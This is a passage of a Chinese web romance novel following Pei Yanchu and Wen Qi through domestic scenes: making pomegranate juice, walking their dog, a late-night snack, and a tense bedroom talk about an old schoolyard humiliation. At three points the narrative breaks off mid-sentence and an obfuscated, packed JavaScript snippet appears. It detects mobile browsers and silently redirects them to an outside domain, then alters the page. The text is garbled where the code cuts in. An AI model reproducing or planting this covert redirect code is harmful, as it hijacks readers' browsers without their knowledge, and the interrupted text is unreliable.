裴砚初道:“闻阿姨第一次结婚时宣布退圈,沉寂了一段时间,离婚后签了星乐传媒发歌复出,名气比十几年前退圈还要火,又和宋总再婚,拿到了星乐的部分股权,利益捆绑太深,不可能分开,但你就不一样了。” “我不知道你的合同签了什么,但在星乐这里根本查不到闻祈这个人,换句话说,在公众的眼里,你和星乐没什么瓜葛。” “而和沈家联姻这件事还没确定下来,也就是说,星乐随时可能翻船。” “经济学第一课,就讲分散投资——不要把鸡蛋放在同一个篮子里。既然闻阿姨离开不了星乐,但如果你能解约,就算星乐的这艘船沉了,你也不会和她一起砸在这儿。” “如果最后联姻达成了,那也是继续和宋家绑在一起,你的合同是否解约,根本没差。” 裴砚初望着闻祈,试探性地问:“我说的对吗?” “听起来很有道理……” 闻祈的语速很慢,视线隐约带上几分探究,道:“但我好像从来没告诉过你,我的母亲是谁吧?” “没告诉过我吗?”裴砚初冷静道,“也、也挺好知道的吧,你和许水又说宋叔叔又说星乐,你和闻阿姨一个姓,稍微一查,就联系起来了。” 闻祈似笑非笑:“裴总,不是说拿着电脑没什么用的吗?我看你用来查资料,查得还挺顺。” 裴砚初打哈哈:“网络上没人知道闻歌后还有个儿子,你的身份藏得还挺好。不查还不觉得,你和闻歌后确实长得挺像哈哈……” 他说一句,闻祈的脸色就沉一分。 裴砚初生硬地转移话题:“小祈你吃石榴吗?我帮你切。” “好啊。”闻祈慢条斯理道,“我要喝石榴汁,去籽。” 切石榴简单,几刀下去的事,榨石榴汁,得把小山堆似的石榴粒一颗一颗地剥下来,装进破壁机给打碎榨汁,再过滤掉细籽,步骤繁多。 摆明了是想为难他。 裴砚初没有半句怨言,笑得灿烂,飞速道:“行,这就去。” 他挽起袖口,兴致冲冲地转去厨房,闻祈想了想,起身跟了过去,小狗屁颠屁颠地追着走。 裴砚初拿起粉色围裙,给自己套上,转身看到闻祈倚在厨房门边,笑了,道:“还来监工?” 闻祈嗯一声:“怕你下毒。” 裴砚初从冰箱里拿石榴,半开玩笑:“那不行,给你下毒了,我怎么拿闻阿姨的支票?我还想看看上面有几个零。” “你今晚上就梦这个吧。”闻祈嗤笑,“空白支票,多少钱随便你填,建议你全填9,小数点后两位也填上。” “这不好吧,全是九。”裴砚初掂着手里的红石榴,笑得有点痞,“不知道的,还以为是闻阿姨在祝福我们久久,支票是送我们的结婚红包呢。” 闻祈的额角跳了下,道:“你还真敢想。” “都做梦了,当然得大胆点。”裴砚初道,“石榴汁要加糖吗?” “不加。” “好。” 裴砚初用过滤水洗净了石榴的表皮,取了实木菜板和水果刀,背过身去,开始切外层的皮。 他的背影如松挺拔,肩背舒展,围裙的两条细绳勒出窄腰的线条,两条腿更是又长又直。 闻祈的视线从上到下,一寸寸地扫了一遍。 裴砚初突然转过身,道:“要不,你去外面等我吧?” 闻祈抱着手臂,漫不经心地问:“我站在这儿挡住你了?” 裴砚初坦然道:“你在后面看我,我紧张。” 又问:“这感觉怎么这么熟悉,我们上课的时候,你是不是也这样从后面看过我?” 闻祈冷笑:“裴大少爷,你和那几个富二代朋友要坐靠窗最后几排的专属位置,谁敢质疑,谁敢让你们挪位置?我怎么看你,背后长眼睛吗?” 裴砚初看起来很是无辜:“万一你趁捡个笔的机会回头偷看我,也不是没有可能。” 闻祈简直服了他了,半天没骂,记吃不记打一样又自恋上了,刚斟酌掂量的心思全部不见,扭头就要往外走,脚步又一顿。 他折回来。 裴砚初笑着道:“怎么,又舍不得我了?” 闻祈没说话,冲他面前,裴砚初下意识往后退了一步,一直藏在身后的左手却被拉了出来。 食指上一道细线,正渗着血珠。 闻祈攥着裴砚初的手腕,抬头看他。 裴砚初尴尬一笑,讪讪解释:“切下去的时候,石榴滑了一下。” 又道:“好狡猾的一只石榴!” 谐音梗烂得闻祈都不想给他一个表情。 闻祈松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14024143|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了手,道:“在这儿站着,等我。” 裴砚初挺高大一个人,乖巧地举着自己受伤的食指,像举着一个火炬似的,黑眸亮亮的,嗯一声。 闻祈回了客厅,从柜子里的小医药箱找出碘酒棉签和创口贴,回了厨房。 裴砚初盯着他。 闻祈反问:“你不会是想我帮你处理伤口吧?” “没有没有。”裴砚初立刻道,“我自己来。” 他用清水洗了伤口,又拿碘酒棉签做了清洁,最后贴了个创口贴——贴得有点歪。 裴砚初随口问:“你怎么知道我手上有伤的?” “直觉。” 转身的一瞬间,莫名地感觉,裴砚初好像不对劲。 闻祈不想多说,赶人:“出去吧,我收拾这儿。” 裴砚初不肯走:“就一个小伤口,没事,我刚就觉得有点丢脸,所以不想让你看见,你在客厅等,石榴汁我保准给你榨出来。” 他反倒按着闻祈的肩往外推,闻祈平时吃的少动的少,没有锻炼习惯,根本站不住,硬生生被推了出去。 砰的一声,厨房门关了。 闻祈:…… 不亏是傻狗,上赶着做家务。 厨房里的裴砚初关了门,感觉自己表现的这段简直高光,特帅,一低头,和晃尾巴的小白狗对上了视线。 门再度打开,小狗吐着舌头傻乐,也被驱赶了出来。 里面的裴砚初嘱咐:“让元宝离远点嗷!” 闻祈有点疑惑。 元宝一向乖巧,就算待在厨房里转来转去,也不会影响人。 他没多想,抱着小狗回了沙发上。 结果厨房里的破壁机嗡嗡一响,吓得小狗嗷一声往他衣服底下钻,尾巴露在外面,瑟瑟发抖。 闻祈愣了下,赶紧丢开手机,抱住了怀里的小狗,情绪有几分复杂。 太久没用破壁机,他忘了这小笨狗会害怕噪声了。 倒是裴砚初,大概因为帮着洗狗记住了小狗害怕太大的声响,反过来还提醒他。 好在破壁机只持续了十来秒就停下,闻祈有几分愧疚,从沙发旁的零食箱里扒拉出元宝最喜欢的鳕鱼片安慰它。 厨房的门开了,裴砚初端着两杯石榴汁出来,小狗吃完了鳕鱼段,正在和闻祈在客厅中间玩指令游戏。 闻祈:“转圈。” 小狗兴奋地追着自己尾巴。 闻祈:“坐。” 小狗啪叽一屁股坐地。 闻祈:“打招呼。” 小狗原地转了一圈,发现不对,赶紧举起一只爪爪。 闻祈坐在地板上,笑了下,伸出玉白的掌心,道:“来,握手。” 小狗吐着舌头,把一只爪爪放在闻祈的手心里,黑葡萄眼珠像在笑。 闻祈夸:“乖狗狗。” 裴砚初把两杯石榴汁放在桌上,几步过来,羡慕道:“我也想玩。” 闻祈点头,开始教:“那你靠近点,蹲下来或者坐地上都行,方便元宝识别指令,然后像我这样——” 他伸出手掌,道:“说,握手。” 话音刚落,裴砚初的手和元宝的爪爪,同时搭上了闻祈柔软的手心。 蹲坐着的一人一狗,眼神亮晶晶的,热切地望着他。 闻祈:…… 闻祈:…………? 15.绝育 “你这是,在玩什么?” 闻祈艰难发问。 裴砚初震声:“有竞争才会有学习的动力,我这是在当元宝的同学,帮助它进步!” 被cue的小狗疑惑歪头:“嗷呜?” 小狗都把爪爪收回去了,裴砚初的手还搭在闻祈的掌心里。 甚至堂而皇之反过来抓住了他的手,摸了摸,诧异地问:“这还没到十一月,你的手怎么这么冷?是不是要再加一件衣服?” 粗糙的指腹抚过,似火焰烫过,留下一阵的灼热痕迹。 闻祈冷淡抬眸,确认般地问:“你想和元宝当同学?” 裴砚初点头。 闻祈道:“元宝绝过育,那我是不是也要送你去绝育,让你们的进度同步一下?” 裴砚初飞速地收回手,呲溜一下站起来,尬笑着:“啊哈哈那就不用了,毕竟事关我老婆未来的□□……” 又一步步往后退:“我去端石榴汁!” 闻祈轻嗤一声,将鸭肉干小零食作为奖励递给元宝,起了身,回沙发上抽了一张湿巾擦手,接过裴砚初递来的石榴汁。 裴砚初自信道:“石榴籽都过滤掉了,保准达到你的要求。” 闻祈喝了小半杯。 酸酸甜甜的,带着石榴特有的清香,挺开胃。 裴砚初端着他的那杯也不喝,巴巴地问:“好喝吗?” 闻祈鸦羽似的黑睫轻掀,看向他,柔软的唇染上石榴汁,泛着湿润的玫红水光,更显得色泽靡艳,张了口,想问他手里不是有一杯吗。 但视线掠过裴砚初手指上的创口贴,话到了嘴边,转而道:“很好喝,谢谢。” 裴砚初笑起来:“喜欢就好。” 小狗见他俩都在喝石榴汁,馋得流口水,一会儿扒拉这个,一会儿刨刨那个,嘤嘤呜呜的,急得快说话了。 裴砚初问:“元宝能喝石榴汁吗?” 闻祈应:“能喝一点。” 裴砚初回厨房拿了一个小盘子,倒了一层浅浅的底,刚放下,小狗就凑过来埋头呼噜呼噜地舔,嘴巴都染红了一圈。 闻祈等元宝喝完后,叫它过来,抱进怀里,抽了张纸巾帮小狗擦嘴。 小狗乖乖坐他腿上,任由闻祈动作,尾巴摇啊摇。 裴砚初稀奇道:“元宝好听话。” “因为小狗笨笨的,思维很简单,谁对他好,他就对谁好,听谁的话。” 闻祈望了裴砚初一眼,道:“元宝挺喜欢你的。” “是吗?”裴砚初有点惊讶。 闻祈的语气和缓:“他愿意跟你出去散步,中午还坐在你的背上陪你玩。” 元宝性子粘人爱撒娇,对别人的善意恶意更为敏感。 当初那几个来家里应聘的男保姆刚开始表现得很友善,小狗躲在他身后不肯出来,哼哼唧唧不愿意和他们亲近。 过了不到一周,那几个保姆就被他抓住现行——不是狗粮配餐的分量随意地超多减少,就是漏放水果片或者鱼油之类的胶囊。 摆明了不上心。 裴砚初虽然看起来吊儿郎当,但对着小狗意外的有耐心。 “等等。”裴砚初思索两秒,“元宝给我增加负重,是在陪我玩?我以为我是在陪他玩。” 闻祈的唇角微微扬起弧度,笑意一闪而过:“当然是元宝陪你玩了,不然直接拿你当跳板练习跨栏,不是这么简单坐在你背上。” 裴砚初低下头,和小狗对视,小狗傻乎乎地在笑。 “毕竟我是砚宝它是元宝。”裴砚初正色道,“它可能把我当成了异父异母的好兄弟。” 闻祈刚张了口,还没说话,裴砚初赶紧接下一句:“好兄弟也没有一起绝育的!” 显然对某句话有着巨大的阴影。 闻祈突然唤了声:“砚宝。” 语调很轻,似雨滴打在竹尖的声响,啪嗒敲在心口上。 裴砚初脑子都空了,怀疑自己出现了幻听。 闻祈勾勾手指,裴砚初身体比思维还快,立刻听话地凑了过来,视线直溜溜地盯着他。 “怎、怎么了?” 裴砚初舌头打结,磕巴问。 闻祈的眼眸似明月轻轻一弯,光彩潋滟,他将小狗塞进了裴砚初的怀里,道:“既然是两兄弟,你们俩继续玩吧。” 裴砚初傻呆呆地抱着毛绒绒的小白狗,像是一时没反应过来。 闻祈轻笑:“傻狗。” 也不知道是在说哪只狗。 裴砚初眩晕得厉害,闻祈已起了身,道:“吃饭的时候叫我。” “哦哦好。” 裴砚初慢一拍点了头,见闻祈要回工作室,身形微动,下意识想追上去,又克制住了。 等闻祈不见了踪影,裴砚初低头看小狗,问:“刚刚小祈那句傻狗,叫的是我还是你?” 小狗嗷一声。 裴砚初严肃点头:“我也觉得小祈刚叫的是我。” 元宝:? 小狗一脸迷茫:谁是狗来着? 闻祈回了工作室,戴上耳机继续捣鼓自己的音轨,等房间的门被敲了第二遍,才在音乐的间隙里迟缓地反应过来,摘下耳机去开了门。 裴砚初站在外面,带着点无奈:“你中午就喝了一碗燕麦粥,还不饿?” 闻祈后知后觉,确实有几分饿了,肚子应景地抗议一声。 裴砚初笑了笑:“来吃饭。” 客厅里的落地窗外映照出晚霞时刻,在地板上投落一地光辉,小狗围着一个小口水兜,埋头在小饭盆里,吃得正欢。 餐厅里开着灯,光线明亮柔和,空气里飘满着属于食物的甜甜香气。 闻祈去洗了手,到了餐桌前,抽开凳子刚坐下,目光下落到面前的蛋包饭,愣了下。 蛋包饭金澄澄的,番茄酱在上面歪歪扭扭地画了几个图像。 两个举着手的火柴棍小人,还有疑似戳着四根牙签的一团云。 闻祈满头雾水:“这什么?” 裴砚初热情解释:“我们俩和元宝。高一点的这人是我,矮一点的是你,旁边这一团是元宝。传神吧?” 闻祈重新看去,陷入了长久的沉默。 裴砚初不死心:“虽然我画得有点烂,但是神韵在的吧?神韵。” 闻祈勉强道:“有一点?” 裴砚初泄了气,头上仿佛有狗狗耳朵失望地耷拉下来,道:“好的吧,我还以为你会喜欢。” “不是很像,但挺可爱的。”闻祈道,“我……确实喜欢。” 他很少表露自己喜欢什么,连说这个词的时候,整个人也显得不自在。 裴砚初的眼眸登的亮了起来。 闻祈别开视线,道:“吃饭。” 刀叉划开表面的金黄色的蛋皮,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037761|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是青豆、胡萝卜块和玉米粒做成的酱油炒饭,裹上沾着酸甜番茄酱的蛋液,调味刚好。 闻祈早就饿了,吃了一半,速度放慢下来,又想起什么,问:“厨房里还煮着什么吗?” 空气里一直弥漫着某种甜滋滋的香气。 裴砚初道:“在煮红豆,我打算做红豆沙小丸子给你当宵夜。” 闻祈下意识道:“我平常不吃宵夜。” “我用小锅煮的,就一小碗,不多。”裴砚初笑着比划了下,“我第一次做甜品,晚上赏个脸呗。红豆补气血,喝完以后你的手说不定就没那么冷了。” 闻祈的心弦被很轻地触动一下,微微犹豫,点了头。 裴砚初道:“再说了,你又不当大明星又不去荧幕前,不用控制饮食,多吃点也没事。” 闻祈执勺的动作一停,回:“习惯了。” 裴砚初疑惑:“什么?” “我不需要控制饮食,但是我妈妈需要。” 闻祈轻声道:“她在结婚时宣布退圈,回归家庭,但在饮食和锻炼上一直像以前那样要求自己。自从我有记忆起,妈妈吃的菜色就只有那些,我和她吃的是一样的,习惯了。” 从小到大都是这样,他也养成了少油少盐,清淡简单的饮食习惯。 甚至因为不适应学校食堂的饭菜,只能从家里带饭盒。 “我不管。” 裴砚初大少爷的霸道性子跑出来了,想也不想就道:“你知道你抱起来有多轻吗?多吃两碗饭才是正事,什么狗屁习惯,该改的就改。” 闻祈皱着眉:“你什么时候抱过我?” 裴砚初刚还在嚣张的气焰一下子小了下去:“就,上次你罚我跪的时候,我看你靠在床头睡着了,就帮你调整了位置……” 又近乎执拗地重复:“你太轻了。” 闻祈哑然。 裴砚初依旧记得那晚。 深夜万籁俱寂,客卧灯光通明。 他低头跪在地毯上,一边兢兢业业地担当暖炉的职责,一边漫无边际地想闻祈到底有没有点过男模,要是真的点过,寻思找谁查一下会所,研究研究闻祈点的男模是什么类型。 等怀里那双玉石般透着冷的脚一点一点染上暖意,裴砚初抬起了视线,却发现闻祈不知何时已经睡着了。 栗子发丝在光下泛着柔软的光泽,青年长睫低垂,睡颜秾艳如画,下颌微尖,就这么斜斜地靠坐在床头,闭着眼,平日如霜似雪的疏离气质也褪去几分,让人错觉触手可及。 他就这么望着,看着藏在心尖、比记忆里身量清减许多的眼前人,脑海里只有一个念头。 ——他本以为,闻祈过得很好。 “你……” 闻祈本想问为什么裴砚初不把他抱回自己的房间,反而让两人一起睡在客卧,刚开口,又发觉这个问题不对劲。 怎么就默认了裴砚初抱他这事? 闻祈心生一股别扭,顿了顿,道:“下次可以直接叫醒我。” 裴砚初笑着道:“我这不是怕你醒了让我继续跪吗?正好躲个懒,当惩罚结束了。” 理由挑不出错,但闻祈望着对面神色坦然的裴砚初,心跳蓦然错漏一拍。 好似有一道念头隐约闪过,却什么也没抓住。 如雾中看花、水中赏月,明明就在眼前,似有似无、亦真亦假,让他寻不到最深处的真相。 16.夜宵 吃完饭以后,小狗哒哒哒地追着闻祈的脚后跟跑,摇着尾巴等着出门玩。 闻祈从阳台上拿出牵引绳,临出门时,迟疑了下,问从厨房出来的裴砚初:“要一起出去吗?” 裴砚初飞快点头,应:“好啊,正好我有快递要取。” 小狗穿着一件蓝色编织小背心,配上奶黄色的牵引绳,精神抖擞,看起来可爱得像小玩具。 发现两个人都要陪他出门,小狗兴奋地嗷嗷两声,尾巴晃得像螺旋桨 裴砚初自觉伸手:“要我带元宝吗?” 闻祈乐得清闲,将牵引手柄递给他。 两人带着小狗出了门。 元宝性格很乖,但在外面的时候到处闻闻嗅嗅是天性,一激动,难免会爆冲一下。 闻祈平时遛它,不留神还被带得身形趔趄。 但到了裴砚初这儿,男人好似分毫不受影响,骨节分明的宽大手掌牢牢地掌控着牵引绳,随意之间甚至透出几分轻松。 闻祈穿着常服走在旁,隔着一步的距离,将手揣在外套兜里,一同前行。 外面的夜色已然擦黑,晕染着深深浅浅的墨蓝,小公园里有一对对的行人在散步,头挨着头小声说话,言笑晏晏,很是亲昵。 闻祈默默地戴上了口罩。 以前没注意,这附近住了有这么多小情侣吗? 不知是否是错觉,闻祈甚至觉得那些小情侣注意到他和裴砚初,向他们看来的视线也像在看小情侣。 元宝有固定的散步路线,在路上碰到了自己好朋狗——一只小比熊,两团毛绒绒小狗凑在一起转着圈儿嗷呜嗷呜,互相闻pp。 比熊的主人是个年轻的女孩子,和闻祈攀谈起来:“最近一周我加班,到了凌晨才出来遛棉花,棉花没碰见元宝可失落了,差点不愿意回家。” 闻祈宽慰道:“没事,你下次可以给我发给消息,我带元宝出来。元宝最近没碰见棉花,也有点伤心。” 在旁边当背景板的裴砚初脑海里响起警鸣,戒备地看来。 两人私下有联系方式? 想拿狗狗当借口,孤男寡女深夜幽会? 闻祈接收到裴砚初的视线,没理解,用神色疑惑地回问:怎么了? 棉花的主人噗嗤笑一声,摆手:“不用不用,我怕你男朋友吃醋,而且我最近申请了换项目组,不加班啦。” 闻祈道:“他不是我男朋友。” 棉花主人道歉:“哦哦,不好意思啊。” 闻祈道:“没关系。” 棉花主人犹犹豫豫地又问:“那你们现在是住一起?” 闻祈点点头。 棉花主人想起狗友群里的传闻,带着点惋惜道:“原来是真的……” 住在这附近的狗友圈有个小群,安利狗狗最近爱吃的罐头和零食,分享最新的狗粮打折消息,时不时狂发自家孩子的照片和视频。 但元宝的主人独来独去,不加群,也不会主动认识其他养狗狗的人。 她也是因为棉花和元宝是好朋狗,才加上了元宝的主人的联系方式。 昨晚回了家,她在群里看到讨论,说那只叫元宝的马尔济斯犬换了人遛,好像是元宝主人包养的小白脸,还不信。 刚刚碰见他们,一个俊美高大,唇角含笑,随意一站,有种莫名的矜贵感,一个身形颀长,戴着口罩,只露出一双漂亮的眉眼,气质清冷而疏离。 两人走在一起,看起来要多登对有多登对,更是加深了她的想法——一看就是小情侣,世界上哪有这么多小白脸软饭男? 没想到,还真不是小情侣啊? 闻祈问:“什么?” 棉花主人笑道:“没事没事,我带棉花出来得早,要先回去啦。” 闻祈不明所以,但也点头道别。 裴砚初和闻祈又继续往前走。 裴砚初状似无意地问:“你俩还加了联系方式啊?” 闻祈看他一眼,道:“她有男朋友,两个人都快结婚了。” “是吗?”裴砚初努力压唇角,“我又没问这个,你告诉我干嘛?” 闻祈道:“哦,我以为你对她感兴趣。” 裴砚初的脸一下子垮了:“怎么可能,我连她长什么样都没看清,我就随便问问。” 闻祈的唇角轻勾。 裴砚初安静了会儿,忍不住又问:“那你们一般聊什么?” “元宝和棉花玩得好,前段时间每天都见面,要是有什么事不能过来,我们就会给对方说一声。”闻祈道,“她喜欢做狗狗的小衣服,会送一些给元宝。” 裴砚初道:“听起来人还挺好的。” 闻祈重申:“她有男朋友。” “我知道!”裴砚初炸毛,“我又不是什么发情的狗,见着一个就喜欢一个。” 提到发情两字,他的耳尖烧灼热度,欲盖弥彰,低声解释:“昨晚那是……正常的生理反应,我很正经的。” 闻祈根本没想起昨晚的事,视线在他身上转了一圈,带着几分意味深长。 小狗嗷嗷催着他们,两人顺路去了快递驿站,裴砚初报手机尾号领了快递,喜滋滋地出来了。 闻祈问:“买的什么?” 裴砚初神神秘秘道:“店家帮我紧急发货的女仆装。” 闻祈沉默两秒,委婉地问:“明天我妈来公寓,你不会打算穿女仆装见她吧?” “怎么会?”裴砚初笑起来,语气坦荡,“我是穿给你看的,当然只有你能看了。” “行。” 闻祈没有回怼,也没有像往日那般露出无语凝噎、想打人的神色,点了头,平静道:“今晚洗干净,穿女仆装在床上等我。” 裴砚初猛地停了步,神色一片空白:“啊?” 又赶紧跟上去,忐忑道:“小祈,我刚好像出现幻听了,你再说一遍。” 闻祈语气懒散:“没听到就算了。” “怎么能算了,我……!” 对话间,两人走进了公寓大厅,迎面走来陌生的路人,闻祈的视线淡淡扫了一眼他,裴砚初将问题都憋了回去。 等电梯时,有其他人在,元宝刨刨闻祈的裤腿,闻祈将小狗抱进了自己的怀里。 裴砚初站在旁边,目光时不时落在闻祈的脸上,焦躁等待的情绪几乎快成实质性。 偏生这趟电梯人多,电梯门开开关关数次,几乎快把他的耐心耗尽,才终于到达二十二楼。 叮的一声,轿厢门打开,裴砚初大步走出,眼巴巴地望着抱着小狗出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14045056|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的闻祈,憋半天,吭哧出一句,问:“去,你床上还是我床上啊?” 语气带着点小心翼翼。 “我还以为你没听见,这不是听得很清楚?” 闻祈打开了家门,将小狗放在地板上。 裴砚初着急听答案,但也按捺着性子,抽了玄关柜子上的宠物湿巾,蹲下身给元宝擦爪爪。 他微微低着头,动作轻缓而认真,小狗突然凑过来,舔了舔他的脸。 裴砚初的动作停了一瞬,看起来有点不知所措,问闻祈:“元宝是什么意思?” 闻祈给小狗解着牵引绳,回:“喜欢你的意思。” 裴砚初立刻飘飘然起来。 已知条件:闻祈喜欢元宝。元宝喜欢他。 四舍五入,等量代换一下,这不就能论证出闻祈喜欢他吗? 这和告白有什么区别! 裴砚初的唇角控制不住上扬的弧度,闻祈慢悠悠地又补了一句:“也可能把你当同类,把你划进好朋狗的范围了。” 裴砚初脸上的笑意僵住,往下一看,和小狗对视。 元宝的黑琉璃眼睛亮亮的。 裴砚初试探性地伸出手,见元宝没躲,摸了摸小狗的脑袋。 “好吧。”他笑道,“那也不错。” 小狗嗷一声,欢快地摇着尾巴,像在回应。 闻祈笑了笑,进了客厅。 裴砚初终于想起一直没得到回答的问题,拎起了快递袋,追上去,问:“小祈,你刚在路上说的是在开玩笑,还是认真的啊?” 闻祈拿起水杯,喝了口,又转过来看他,闲闲道:“自己想。” 这怎么自己想! 裴砚初怕把闻祈的一句玩笑话当作真话,暴露了自己,又怕太过谨慎错过了闻祈的一时兴起,失去了机会。 最后闷不吭声地去找剪刀了,打算先把女仆装的快递袋给拆了。 见他安安静静地离开,没有聒噪地缠着人不放,闻祈反倒有几分不适应,扇子似的黑睫轻抬,看了眼裴砚初的背影。 最后什么也没做,回房间洗了个澡,看时间还早,又进了工作室。 戴上耳机时,仿佛隔离了世界,察觉不到时间的流逝。 闻祈再度看向屏幕下方的数字时,才恍然发现已经快接近凌晨。 摘下了耳机,周围寂然无声,好似他一个人被遗忘在了这一方小小的罅隙中。 闻祈打开手机,关闭了免打扰模式,先跳出来的是裴砚初的信息。 【厨房里热着红豆沙小圆子,要是饿了,可以当宵夜吃。】 闻祈打开工作室的门,在外面果然没见到一人一狗。 大概都已经睡了。 闻祈进了厨房,看到了保温状态的小型电煮锅,打开盛了一碗。 红豆沙煮得很烂,软糯绵密,散发着甜香,白珍珠似的糯米圆子缀在表面,热气氤氲,看起来很是诱人。 闻祈慢慢地吃了一整碗,大概因为胃里暖呼呼的,冰冷的手脚也热了起来,身体也涌上一阵倦怠的懒意。 他将锅碗都洗干净沥水,脚步慢吞吞的,往自己的主卧走去。 闻祈站在门口,朝旁看了一眼客卧,短暂犹豫后,收回视线,推开了面前半掩的房门。 17.痕迹 主卧头顶洒落暖黄色的灯光,将整个房间铺上一层柔和的薄纱。 小狗摊在床下的香蕉船小窝里呼呼大睡,像个毛豆腐。 床上趴睡着某个熟悉的身影,黑发毛茸茸的,颈项修长,光.裸的宽阔背脊隆起流畅紧实的线条,一条薄被搭在劲窄的腰身下。 还真的来了? 闻祈的脚步一顿,又升起一种意料之中、果然如此的情绪——像是裴砚初会做出来的事。 开门的动静很轻,元宝在自己的窝里睡得四脚朝天,半点没受影响,床上的人却像是有所察觉,缓慢地转了醒,撑起手臂看来,嗓音浸着浓浓的睡意:“忙完了?” 裴砚初刚睡过一觉,黑发乱蓬蓬的,狭长精致的桃花眼半阖,整个人都显出一种慵懒感。 闻祈问:“你的女仆装呢?” “烘干机里。”裴砚初坐起来,抬手打了一个哈欠,“本来想等你出来,穿给你看的,等睡着了。” 他的语气熟稔,像还没睡醒。 闻祈又问:“谁准你上我的床的?” 似一桶冰水泼下,裴砚初瞬间清醒了,神色也生出几分不知所措,道:“晚上的时候,你说——” 闻祈微微偏头,看着他。 “我、我……” 裴砚初磕磕巴巴的,一个字也说不出来,暗骂自己鬼迷心窍。 果然只是一句随口的玩笑话,偏偏他自作聪明,当了真…… 他下了床,低着头,沮丧得像只做错事浑身透着委屈劲儿的大型犬,道:“我回隔壁……” 闻祈问:“我让你走了吗?” 裴砚初傻愣愣地待原地不动了,用那双桃花眼不知所措地望着他,不知道该走、还是该留,只穿着一条薄睡裤,赤脚站在地毯上,看起来很是可怜。 他想来想去,猜着因为闻祈洁癖,自己又未经同意上了他的床,试探性地问:“要我把你床上的床单被套给换了吗?” 闻祈却没说话,一步步走来,裴砚初站在原地没动,被他轻轻一推,视野骤然颠倒,又仰面倒回了床上。 裴砚初还没反应过来,下一刻,闻祈却似一只高贵又灵巧的猫,高高在上地翻坐在了他的腰身上。 圆润的弧度丰盈柔软,压在紧绷的腹肌上,触感明显,纤细笔直的两腿以鸭子坐的姿势,分坐左右。 再往下挪一点,就是危险的距离。 闻祈漂亮的眉眼蕴着饶有兴致,居高临下地注视着他,和裴砚初无数糟糕的桃色梦境中的景象重合。 裴砚初实在不敢多想,脑子乱糟糟的,喉结滚动,哑声道:“小祈,你能不能直接告诉我要做什么,我真的猜不出来……” 闻祈低望着他,突然道:“你以前给我写了一封信,让我去教学楼的天台等你,说有话告诉我。” 裴砚初愣了下,眸色闪过一瞬茫然,而后从记忆深处翻找出一封信,胸腔里的心脏加速跳动。 “我……” 闻祈打断道:“我去了以后,天台的门被人锁了。” 裴砚初猛地睁大了眼。 闻祈道:“我知道不是你做的。裴家大少爷不屑于做这种事,但有无数的人前仆后继地愿意帮你收拾我,用来邀功。” 裴砚初的声线颤动起来:“我不知道……” “是,你不知道、你不记得,因为你失忆了。” 闻祈轻飘飘地笑了下。 “这种骗人过去的把戏太蠢了,不是你会做出来的事。但上面的字太像你写的了,我以为你真的要和我说什么话,所以我还是去了。可惜,我猜错了。” ”好在那天我带了手机,水水来帮我开了门,我找老师调了监控录像找到了人,让他转了学。我知道这件事和你没关系,但我还是忍不住一并记在你的账上。” 裴砚初的手指,一点一点蜷缩起来。 他闭上了眼,心中懊恼的情绪翻滚。 那封信是他写的,只是还没决定好是否送出去,就意外不见了。 他以为这是上天的某种警示,打了退堂鼓,将那封丢失的信遗忘在了记忆里。 闻祈道:“裴砚初,我情愿一开始就不认识你,安安静静地度过我的高中生活。” 裴砚初的大脑一片空白,唇也没了血色。 “我本来都忘得差不多了,但你落在了我的手里,又一而再、再而三地接近我。” 闻祈俯了身,手指掐着他的脸侧,轻声道:“我今天在厨房看你做石榴汁的时候就在想,你都已经失忆了,是不是那些事该算了,就当重新认识一场。我试过了,但还是不行,你对我越友善、越亲近,我就想要更恶劣地报复你。” 距离靠得太近,闻祈的唇瓣轻轻张合,裴砚初甚至能嗅闻到一股甜香。 是属于红豆沙小圆子的气息。 在这气氛紧绷的对话之中,裴砚初唯一的念头是——啊太好了,闻祈吃了他煮的宵夜。 他恍惚刹那,下意识问:“红豆沙小圆子好吃吗?” 闻祈的话语骤然卡住,气笑了,问:“你有没有听见我说话?” “听见了。” 裴砚初回了神,伸手覆盖住闻祈的手,笑了起来,那双标志性的桃花眼盈盈闪动着柔软缱绻的情愫,看起来依旧那么轻浮又多情。 “你可以把我当作记忆里的人报复,我不介意。就像你说的,我已经落在了你的手里,折辱我、支使我,做什么都行,只要你开心。” 手掌温暖干燥,传递热意。 闻祈蹙起眉,很是不解裴砚初此刻的态度:“你不害怕?” “不怕。”裴砚初干脆利落道,“我都把自己赔给你了,有什么好怕的。” 他的话锋又一转,眉宇轻挑,语气欠欠儿的:“况且,说的这么吓唬人,喜欢小狗的人又坏不到哪里去,说着要惩罚我,最后先心软的肯定还是你。” 全然没当一回事。 闻祈气得正想发火,忽然想起什么,转过头,发现元宝不知什么时候睡醒了,正用两只爪爪扒拉着床边。 